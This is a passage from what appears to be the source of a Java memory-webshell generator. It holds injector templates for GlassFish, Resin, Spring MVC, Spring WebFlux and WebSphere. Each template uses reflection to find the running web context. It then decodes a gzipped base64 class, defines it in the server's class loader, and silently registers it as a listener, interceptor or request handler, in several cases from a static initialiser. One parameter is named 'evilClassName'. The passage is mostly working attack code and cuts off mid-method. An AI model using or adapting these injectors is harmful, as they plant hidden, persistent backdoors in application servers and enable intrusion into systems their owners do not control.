JSPFormater().transform(clazzBytes, config); 30 | break; 31 | case Constants.FORMAT_JAR: 32 | bytes = new JARFormater().transform(clazzBytes, config); 33 | break; 34 | case Constants.FORMAT_JAR_AGENT: 35 | bytes = new JARAgentFormater().transform(clazzBytes, config); 36 | break; 37 | case Constants.FORMAT_JS: 38 | bytes = new JavaScriptFormater().transform(clazzBytes, config); 39 | break; 40 | case Constants.FORMAT_BASE64: 41 | bytes = new BASE64Formater().transform(clazzBytes, config); 42 | break; 43 | case Constants.FORMAT_BIGINTEGER: 44 | bytes = new BigIntegerFormater().transform(clazzBytes, config); 45 | break; 46 | default: 47 | bytes = clazzBytes; 48 | break; 49 | } 50 | return bytes; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/template/GlassFishListenerInjectorTpl.java: -------------------------------------------------------------------------------- 1 | package jmg.core.template; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.util.ArrayList; 10 | import java.util.EventListener; 11 | import java.util.HashMap; 12 | import java.util.List; 13 | import java.util.zip.GZIPInputStream; 14 | 15 | 16 | public class GlassFishListenerInjectorTpl { 17 | public String getClassName() { 18 | return ""; 19 | } 20 | 21 | public String getBase64String() throws IOException { 22 | return ""; 23 | } 24 | 25 | static { 26 | new GlassFishListenerInjectorTpl(); 27 | } 28 | 29 | public GlassFishListenerInjectorTpl() { 30 | try { 31 | List contexts = getContext(); 32 | for (Object context : contexts) { 33 | Object listener = getListener(context); 34 | addListener(context, listener); 35 | } 36 | } catch (Exception ignored) { 37 | 38 | } 39 | 40 | } 41 | 42 | public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { 43 | List contexts = new ArrayList(); 44 | Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); 45 | try { 46 | for (Thread thread : threads) { 47 | if (thread.getName().contains("ContainerBackgroundProcessor")) { 48 | HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); 49 | for (Object key : childrenMap.keySet()) { 50 | HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); 51 | for (Object key1 : children.keySet()) { 52 | Object context = children.get(key1); 53 | if (context != null) contexts.add(context); 54 | } 55 | } 56 | } 57 | } 58 | } catch (Exception ignored) { 59 | } 60 | return contexts; 61 | } 62 | 63 | private Object getListener(Object context) throws Exception { 64 | Object listener = null; 65 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 66 | if (classLoader == null) { 67 | classLoader = context.getClass().getClassLoader(); 68 | } 69 | 70 | try { 71 | listener = classLoader.loadClass(getClassName()).newInstance(); 72 | } catch (Exception e) { 73 | try { 74 | byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); 75 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 76 | defineClass.setAccessible(true); 77 | Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); 78 | listener = clazz.newInstance(); 79 | } catch (Exception ignored) { 80 | } 81 | 82 | } 83 | return listener; 84 | } 85 | 86 | public void addListener(Object context, Object listener) throws Exception { 87 | try { 88 | List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); 89 | boolean isExist = false; 90 | for (EventListener eventListener : eventListeners) { 91 | if (eventListener.getClass().getName().equals(listener.getClass().getName())) { 92 | isExist = true; 93 | break; 94 | } 95 | } 96 | if (!isExist) { 97 | eventListeners.add((EventListener) listener); 98 | } 99 | } catch (Exception e) { 100 | } 101 | } 102 | 103 | 104 | static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { 105 | Class decoderClass; 106 | try { 107 | decoderClass = Class.forName("sun.misc.BASE64Decoder"); 108 | return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); 109 | } catch (Exception ignored) { 110 | decoderClass = Class.forName("java.util.Base64"); 111 | Object decoder = decoderClass.getMethod("getDecoder").invoke(null); 112 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); 113 | } 114 | } 115 | 116 | public static byte[] gzipDecompress(byte[] compressedData) throws IOException { 117 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 118 | ByteArrayInputStream in = new ByteArrayInputStream(compressedData); 119 | GZIPInputStream ungzip = new GZIPInputStream(in); 120 | byte[] buffer = new byte[256]; 121 | int n; 122 | while ((n = ungzip.read(buffer)) >= 0) { 123 | out.write(buffer, 0, n); 124 | } 125 | return out.toByteArray(); 126 | } 127 | 128 | static Object getFV(Object obj, String fieldName) throws Exception { 129 | Field field = getF(obj, fieldName); 130 | field.setAccessible(true); 131 | return field.get(obj); 132 | } 133 | 134 | static Field getF(Object obj, String fieldName) throws NoSuchFieldException { 135 | Class clazz = obj.getClass(); 136 | while (clazz != null) { 137 | try { 138 | Field field = clazz.getDeclaredField(fieldName); 139 | field.setAccessible(true); 140 | return field; 141 | } catch (NoSuchFieldException e) { 142 | clazz = clazz.getSuperclass(); 143 | } 144 | } 145 | throw new NoSuchFieldException(fieldName); 146 | } 147 | 148 | static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 149 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 150 | } 151 | 152 | public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 153 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 154 | Method method = null; 155 | 156 | Class tempClass = clazz; 157 | while (method == null && tempClass != null) { 158 | try { 159 | if (paramClazz == null) { 160 | // Get all declared methods of the class 161 | Method[] methods = tempClass.getDeclaredMethods(); 162 | for (int i = 0; i < methods.length; i++) { 163 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 164 | method = methods[i]; 165 | break; 166 | } 167 | } 168 | } else { 169 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 170 | } 171 | } catch (NoSuchMethodException e) { 172 | tempClass = tempClass.getSuperclass(); 173 | } 174 | } 175 | if (method == null) { 176 | throw new NoSuchMethodException(methodName); 177 | } 178 | method.setAccessible(true); 179 | if (obj instanceof Class) { 180 | try { 181 | return method.invoke(null, param); 182 | } catch (IllegalAccessException e) { 183 | throw new RuntimeException(e.getMessage()); 184 | } 185 | } else { 186 | try { 187 | return method.invoke(obj, param); 188 | } catch (IllegalAccessException e) { 189 | throw new RuntimeException(e.getMessage()); 190 | } 191 | } 192 | } 193 | } 194 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/template/ResinListenerInjectorTpl.java: -------------------------------------------------------------------------------- 1 | package jmg.core.template; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.util.ArrayList; 10 | import java.util.HashSet; 11 | import java.util.List; 12 | import java.util.zip.GZIPInputStream; 13 | 14 | public class ResinListenerInjectorTpl { 15 | public String getClassName() { 16 | return ""; 17 | } 18 | 19 | public String getBase64String() throws IOException { 20 | return ""; 21 | } 22 | 23 | static { 24 | new ResinListenerInjectorTpl(); 25 | } 26 | 27 | public ResinListenerInjectorTpl() { 28 | try { 29 | List contexts = getContext(); 30 | for (Object context : contexts) { 31 | Object listener = getListener(context); 32 | injectListener(context, listener); 33 | } 34 | } catch (Exception ignored) { 35 | 36 | } 37 | 38 | } 39 | 40 | private void injectListener(Object context, Object listener) throws Exception { 41 | if (!isInjected(context, listener.getClass().getName())) { 42 | invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); 43 | // 清除缓存,否则某些 uri 无法连接 44 | invokeMethod(context, "clearCache"); 45 | 46 | } 47 | } 48 | 49 | public List getContext() { 50 | List contexts = new ArrayList(); 51 | HashSet visited = new HashSet(); 52 | try { 53 | Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); 54 | for (Thread thread : threads) { 55 | Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); 56 | Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); 57 | Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); 58 | if (webApp != null && visited.add(webApp)) { 59 | contexts.add(webApp); 60 | } 61 | } 62 | } catch (Exception e) { 63 | } 64 | return contexts; 65 | 66 | } 67 | 68 | private Object getListener(Object context) { 69 | Object listener = null; 70 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 71 | if (classLoader == null) { 72 | classLoader = context.getClass().getClassLoader(); 73 | } 74 | try { 75 | listener = classLoader.loadClass(getClassName()).newInstance(); 76 | } catch (Exception e) { 77 | try { 78 | byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); 79 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 80 | defineClass.setAccessible(true); 81 | Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); 82 | listener = clazz.newInstance(); 83 | } catch (Throwable tt) { 84 | } 85 | } 86 | return listener; 87 | } 88 | 89 | public boolean isInjected(Object context, String evilClassName) throws Exception { 90 | ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners"); 91 | for (int i = 0; i < arrayList.size(); i++) { 92 | if (arrayList.get(i).getClass().getName().contains(evilClassName)) { 93 | return true; 94 | } 95 | } 96 | return false; 97 | } 98 | 99 | static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { 100 | Class decoderClass; 101 | try { 102 | decoderClass = Class.forName("sun.misc.BASE64Decoder"); 103 | return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); 104 | } catch (Exception ignored) { 105 | decoderClass = Class.forName("java.util.Base64"); 106 | Object decoder = decoderClass.getMethod("getDecoder").invoke(null); 107 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); 108 | } 109 | } 110 | 111 | public static byte[] gzipDecompress(byte[] compressedData) throws IOException { 112 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 113 | ByteArrayInputStream in = new ByteArrayInputStream(compressedData); 114 | GZIPInputStream ungzip = new GZIPInputStream(in); 115 | byte[] buffer = new byte[256]; 116 | int n; 117 | while ((n = ungzip.read(buffer)) >= 0) { 118 | out.write(buffer, 0, n); 119 | } 120 | return out.toByteArray(); 121 | } 122 | 123 | static Object getFV(Object obj, String fieldName) throws Exception { 124 | Field field = getF(obj, fieldName); 125 | field.setAccessible(true); 126 | return field.get(obj); 127 | } 128 | 129 | static Field getF(Object obj, String fieldName) throws NoSuchFieldException { 130 | Class clazz = obj.getClass(); 131 | while (clazz != null) { 132 | try { 133 | Field field = clazz.getDeclaredField(fieldName); 134 | field.setAccessible(true); 135 | return field; 136 | } catch (NoSuchFieldException e) { 137 | clazz = clazz.getSuperclass(); 138 | } 139 | } 140 | throw new NoSuchFieldException(fieldName); 141 | } 142 | 143 | static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 144 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 145 | } 146 | 147 | public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 148 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 149 | Method method = null; 150 | 151 | Class tempClass = clazz; 152 | while (method == null && tempClass != null) { 153 | try { 154 | if (paramClazz == null) { 155 | // Get all declared methods of the class 156 | Method[] methods = tempClass.getDeclaredMethods(); 157 | for (int i = 0; i < methods.length; i++) { 158 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 159 | method = methods[i]; 160 | break; 161 | } 162 | } 163 | } else { 164 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 165 | } 166 | } catch (NoSuchMethodException e) { 167 | tempClass = tempClass.getSuperclass(); 168 | } 169 | } 170 | if (method == null) { 171 | throw new NoSuchMethodException(methodName); 172 | } 173 | method.setAccessible(true); 174 | if (obj instanceof Class) { 175 | try { 176 | return method.invoke(null, param); 177 | } catch (IllegalAccessException e) { 178 | throw new RuntimeException(e.getMessage()); 179 | } 180 | } else { 181 | try { 182 | return method.invoke(obj, param); 183 | } catch (IllegalAccessException e) { 184 | throw new RuntimeException(e.getMessage()); 185 | } 186 | } 187 | } 188 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/template/SpringMVCInterceptorInjectorTpl.java: -------------------------------------------------------------------------------- 1 | package jmg.core.template; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.util.ArrayList; 10 | import java.util.LinkedHashSet; 11 | import java.util.zip.GZIPInputStream; 12 | 13 | public class SpringMVCInterceptorInjectorTpl { 14 | 15 | public String getUrlPattern() { 16 | return "/*"; 17 | } 18 | 19 | 20 | public String getClassName() { 21 | return ""; 22 | } 23 | 24 | public String getBase64String() throws IOException { 25 | return ""; 26 | } 27 | 28 | 29 | public SpringMVCInterceptorInjectorTpl() throws Exception { 30 | Object context = getContext(); 31 | Object interceptor = getInterceptor(); 32 | addInterceptor(context, interceptor); 33 | 34 | } 35 | 36 | public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { 37 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 38 | Object context = null; 39 | try { 40 | Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); 41 | Object httprequest = invokeMethod(requestAttributes, "getRequest"); 42 | Object session = invokeMethod(httprequest, "getSession"); 43 | Object servletContext = invokeMethod(session, "getServletContext"); 44 | context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext}); 45 | } catch (Exception e) { 46 | } 47 | 48 | if (context == null) { 49 | try { 50 | LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); 51 | Object applicationContext = applicationContexts.iterator().next(); 52 | if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { 53 | context = applicationContext; 54 | } 55 | } catch (Exception ignored) { 56 | } 57 | } 58 | return context; 59 | } 60 | 61 | private Object getInterceptor() throws Exception { 62 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 63 | Object interceptor = null; 64 | try { 65 | interceptor = classLoader.loadClass(getClassName()).newInstance(); 66 | } catch (Exception e) { 67 | try { 68 | byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); 69 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 70 | defineClass.setAccessible(true); 71 | Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); 72 | interceptor = clazz.newInstance(); 73 | } catch (Throwable tt) { 74 | } 75 | } 76 | return interceptor; 77 | } 78 | 79 | public void addInterceptor(Object context, Object interceptor) { 80 | try { 81 | Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"}); 82 | ArrayList adaptedInterceptors = (ArrayList) getFV(abstractHandlerMapping, "adaptedInterceptors"); 83 | adaptedInterceptors.add(interceptor); 84 | } catch (Exception ignored) { 85 | } 86 | } 87 | 88 | 89 | static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { 90 | Class decoderClass; 91 | try { 92 | decoderClass = Class.forName("sun.misc.BASE64Decoder"); 93 | return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); 94 | } catch (Exception ignored) { 95 | decoderClass = Class.forName("java.util.Base64"); 96 | Object decoder = decoderClass.getMethod("getDecoder").invoke(null); 97 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); 98 | } 99 | } 100 | 101 | public static byte[] gzipDecompress(byte[] compressedData) throws IOException { 102 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 103 | ByteArrayInputStream in = new ByteArrayInputStream(compressedData); 104 | GZIPInputStream ungzip = new GZIPInputStream(in); 105 | byte[] buffer = new byte[256]; 106 | int n; 107 | while ((n = ungzip.read(buffer)) >= 0) { 108 | out.write(buffer, 0, n); 109 | } 110 | return out.toByteArray(); 111 | } 112 | 113 | synchronized void setFV(Object var0, String var1, Object val) throws Exception { 114 | getF(var0, var1).set(var0, val); 115 | } 116 | 117 | static Object getFV(Object obj, String fieldName) throws Exception { 118 | Field field = getF(obj, fieldName); 119 | field.setAccessible(true); 120 | return field.get(obj); 121 | } 122 | 123 | static Field getF(Object obj, String fieldName) throws NoSuchFieldException { 124 | Class clazz = obj.getClass(); 125 | while (clazz != null) { 126 | try { 127 | Field field = clazz.getDeclaredField(fieldName); 128 | field.setAccessible(true); 129 | return field; 130 | } catch (NoSuchFieldException e) { 131 | clazz = clazz.getSuperclass(); 132 | } 133 | } 134 | throw new NoSuchFieldException(fieldName); 135 | } 136 | 137 | 138 | static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 139 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 140 | } 141 | 142 | public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 143 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 144 | Method method = null; 145 | 146 | Class tempClass = clazz; 147 | while (method == null && tempClass != null) { 148 | try { 149 | if (paramClazz == null) { 150 | // Get all declared methods of the class 151 | Method[] methods = tempClass.getDeclaredMethods(); 152 | for (int i = 0; i < methods.length; i++) { 153 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 154 | method = methods[i]; 155 | break; 156 | } 157 | } 158 | } else { 159 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 160 | } 161 | } catch (NoSuchMethodException e) { 162 | tempClass = tempClass.getSuperclass(); 163 | } 164 | } 165 | if (method == null) { 166 | throw new NoSuchMethodException(methodName); 167 | } 168 | method.setAccessible(true); 169 | if (obj instanceof Class) { 170 | try { 171 | return method.invoke(null, param); 172 | } catch (IllegalAccessException e) { 173 | throw new RuntimeException(e.getMessage()); 174 | } 175 | } else { 176 | try { 177 | return method.invoke(obj, param); 178 | } catch (IllegalAccessException e) { 179 | throw new RuntimeException(e.getMessage()); 180 | } 181 | } 182 | } 183 | } 184 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/template/SpringWebFluxHandlerMethodInjectorTpl.java: -------------------------------------------------------------------------------- 1 | package jmg.core.template; 2 | 3 | import org.springframework.web.reactive.result.method.RequestMappingInfo; 4 | import org.springframework.web.server.ServerWebExchange; 5 | 6 | import java.io.ByteArrayInputStream; 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.IOException; 9 | import java.lang.reflect.Field; 10 | import java.lang.reflect.InvocationTargetException; 11 | import java.lang.reflect.Method; 12 | import java.util.Collection; 13 | import java.util.zip.GZIPInputStream; 14 | 15 | /** 16 | * spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod 17 | */ 18 | public class SpringWebFluxHandlerMethodInjectorTpl { 19 | 20 | 21 | public String getUrlPattern() { 22 | return ""; 23 | } 24 | 25 | public String getClassName() { 26 | return ""; 27 | } 28 | 29 | public String getBase64String() throws IOException { 30 | return ""; 31 | } 32 | 33 | public SpringWebFluxHandlerMethodInjectorTpl() { 34 | try { 35 | Object requestMappingHandlerMapping = getRequestMappingHandlerMapping(); 36 | Object handlerMethod = getHandlerMethod(); 37 | addHandlerMethod(requestMappingHandlerMapping, handlerMethod); 38 | } catch (Exception ignored) { 39 | } 40 | } 41 | 42 | private Object getRequestMappingHandlerMapping() throws Exception { 43 | Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); 44 | Object requestMappingHandlerMapping = null; 45 | for (int i = 0; i < threads.length; i++) { 46 | try { 47 | Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings"); 48 | Object[] objects = handlerMappings.toArray(); 49 | boolean flag = false; 50 | for (int j = 0; j < objects.length; j++) { 51 | if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) { 52 | requestMappingHandlerMapping = objects[j]; 53 | flag = true; 54 | } 55 | } 56 | if (flag) { 57 | return requestMappingHandlerMapping; 58 | } 59 | } catch (Exception ignored) { 60 | } 61 | } 62 | return requestMappingHandlerMapping; 63 | } 64 | 65 | public void addHandlerMethod(Object obj, Object handler) { 66 | try { 67 | Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class); 68 | RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build(); 69 | invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo}); 70 | } catch (Exception ignored) { 71 | } 72 | } 73 | 74 | private Object getHandlerMethod() { 75 | Object handler = null; 76 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 77 | try { 78 | handler = classLoader.loadClass(getClassName()).newInstance(); 79 | } catch (Exception e) { 80 | try { 81 | byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); 82 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 83 | defineClass.setAccessible(true); 84 | Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); 85 | handler = clazz.newInstance(); 86 | } catch (Exception ignored) { 87 | } 88 | 89 | } 90 | return handler; 91 | } 92 | 93 | 94 | private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { 95 | Class decoderClass; 96 | try { 97 | decoderClass = Class.forName("sun.misc.BASE64Decoder"); 98 | return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); 99 | } catch (Exception ignored) { 100 | decoderClass = Class.forName("java.util.Base64"); 101 | Object decoder = decoderClass.getMethod("getDecoder").invoke(null); 102 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); 103 | } 104 | } 105 | 106 | public static byte[] gzipDecompress(byte[] compressedData) throws IOException { 107 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 108 | ByteArrayInputStream in = new ByteArrayInputStream(compressedData); 109 | GZIPInputStream ungzip = new GZIPInputStream(in); 110 | byte[] buffer = new byte[256]; 111 | int n; 112 | while ((n = ungzip.read(buffer)) >= 0) { 113 | out.write(buffer, 0, n); 114 | } 115 | return out.toByteArray(); 116 | } 117 | 118 | private static Object getFV(Object obj, String fieldName) throws Exception { 119 | Field field = getF(obj, fieldName); 120 | field.setAccessible(true); 121 | return field.get(obj); 122 | } 123 | 124 | private static Field getF(Object obj, String fieldName) throws NoSuchFieldException { 125 | Class clazz = obj.getClass(); 126 | while (clazz != null) { 127 | try { 128 | Field field = clazz.getDeclaredField(fieldName); 129 | field.setAccessible(true); 130 | return field; 131 | } catch (NoSuchFieldException e) { 132 | clazz = clazz.getSuperclass(); 133 | } 134 | } 135 | throw new NoSuchFieldException(fieldName); 136 | } 137 | 138 | 139 | private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { 140 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); 141 | } 142 | 143 | private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 144 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); 145 | Method method = null; 146 | 147 | Class tempClass = clazz; 148 | while (method == null && tempClass != null) { 149 | try { 150 | if (paramClazz == null) { 151 | // Get all declared methods of the class 152 | Method[] methods = tempClass.getDeclaredMethods(); 153 | for (int i = 0; i < methods.length; i++) { 154 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { 155 | method = methods[i]; 156 | break; 157 | } 158 | } 159 | } else { 160 | method = tempClass.getDeclaredMethod(methodName, paramClazz); 161 | } 162 | } catch (NoSuchMethodException e) { 163 | tempClass = tempClass.getSuperclass(); 164 | } 165 | } 166 | if (method == null) { 167 | throw new NoSuchMethodException(methodName); 168 | } 169 | method.setAccessible(true); 170 | if (obj instanceof Class) { 171 | try { 172 | return method.invoke(null, param); 173 | } catch (IllegalAccessException e) { 174 | throw new RuntimeException(e.getMessage()); 175 | } 176 | } else { 177 | try { 178 | return method.invoke(obj, param); 179 | } catch (IllegalAccessException e) { 180 | throw new RuntimeException(e.getMessage()); 181 | } 182 | } 183 | 184 | } 185 | } 186 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/template/WebSphereListenerInjectorTpl.java: -------------------------------------------------------------------------------- 1 | package jmg.core.template; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.lang.reflect.Method; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | import java.util.zip.GZIPInputStream; 12 | 13 | public class WebSphereListenerInjectorTpl { 14 | 15 | public String getClassName() { 16 | return ""; 17 | } 18 | 19 | public String getBase64String() throws IOException { 20 | return ""; 21 | } 22 | 23 | static { 24 | new WebSphereListenerInjectorTpl(); 25 | } 26 | 27 | 28 | public WebSphereListenerInjectorTpl() { 29 | try { 30 | List contexts = getContext(); 31 | for (Object context : contexts) { 32 | Object listener = getListener(context); 33 | addListener(context, listener); 34 | } 35 | } catch (Exception ignored) { 36 | 37 | } 38 | 39 | } 40 | 41 | public List getContext() throws Exception { 42 | List contexts = new ArrayList(); 43 | Object context; 44 | Object obj = getFV(Thread.currentThread(), "wsThreadLocals"); 45 | Object[] wsThreadLocals = (Object[]) obj; 46 | for (Object wsThreadLocal : wsThreadLocals) { 47 | obj = wsThreadLocal; 48 | // for websphere 7.x 49 | if (obj != null && obj.getClass().getName().endsWith("FastStack")) { 50 | Object[] stackList = (Object[]) getFV(obj, "stack"); 51 | for (Object stack : stackList) { 52 | try { 53 | Object config = getFV(stack, "config"); 54 | context = getFV(getFV(config, "context"), "context"); 55 | contexts.add(context); 56 | } catch (Exception ignored) { 57 | } 58 | } 59 | } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { 60 | context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); 61 | contexts.add(context); 62 | } 63 | } 64 | return contexts; 65 | } 66 | 67 | private Object getListener(Object context) { 68 | Object listener = null; 69 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 70 | if (classLoader == null) { 71 | classLoader = context.getClass().getClassLoader(); 72 | } 73 | try { 74 | listener = classLoader.loadClass(getClassName()).newInstance(); 75 | } catch (Exception e) { 76 | try { 77 | byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); 78 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 79 | defineClass.setAccessible(true); 80 | Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); 81 | listener = listenerClass.newInstance(); 82 | } catch (Throwable ignored) { 83 | } 84 | } 85 | return listener; 86 | } 87 | 88 | public void addListener(Object context, Object listener) throws Exception { 89 | List listeners = (List) getFV(context, "servletRequestListeners"); 90 | // 判断是否已经存在 91 | if (!listeners.contains(listener)) listeners.add(listener); 92 | } 93 | 94 | public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { 95 | Class decoderClass; 96 | try { 97 | decoderClass = Class.forName("sun.misc.BASE64Decoder"); 98 | return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); 99 | } catch (Exception ignored) { 100 | decoderClass = Class.forName("java.util.Base64"); 101 | Object decoder = decoderClass.getMethod("getDecoder").invoke(null); 102 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); 103 | } 104 | } 105 | 106 | 107 | public static byte[] gzipDecompress(byte[] compressedData) throws IOException { 108 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 109 | ByteArrayInputStream in = new ByteArrayInputStream(compressedData); 110 | GZIPInputStream ungzip = new GZIPInputStream(in); 111 | byte[] buffer = new byte[256]; 112 | int n; 113 | while ((n = ungzip.read(buffer)) >= 0) { 114 | out.write(buffer, 0, n); 115 | } 116 | return out.toByteArray(); 117 | } 118 | 119 | private static Object getFV(Object obj, String fieldName) throws Exception { 120 | Field field = getF(obj.getClass(), fieldName); 121 | field.setAccessible(true); 122 | return 